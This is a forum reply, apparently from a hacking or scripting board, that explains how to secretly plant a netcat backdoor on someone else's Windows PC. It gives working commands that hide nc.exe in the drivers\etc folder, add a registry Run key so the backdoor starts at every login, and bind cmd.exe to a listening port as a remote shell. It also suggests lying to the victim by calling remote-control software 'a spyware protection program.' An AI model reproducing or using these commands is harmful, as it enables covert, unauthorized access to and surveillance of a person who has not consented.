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I just.
Edit: I see you wanted to use cryptcat. You could roll with that too.
http://www.ericphelps.com/batch/samples/ip.txt
Try that. I did this on a laptop a while back and it worked. I do remember having to fix a couple of problems but this is a starting point. I will assume that this person doesn't know you will be doing this so you may wish to provide yourself an up and running nc or cc listening on whatever port. If you are not concerned about the individual's computer knowledge then you can be bold and use PC-Anywhere or VNC. You can tell him it is a spyware protection program. :D
If you use these make sure that he isn't doing anything while you are.
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v NetCat /t reg_sz /d "%systemroot%\system32\drivers\etc\nc.exe -l -p1234 -d -e cmd.exe L"
copy "nc.exe" "%systemroot%\system32\drivers\etc\"
cd "%systemroot%\system32\drivers\etc"
nc.exe -l -p1234 -d -e cmd.exe L```
Change the -p switch to whatever port you plan on having netcat listen on.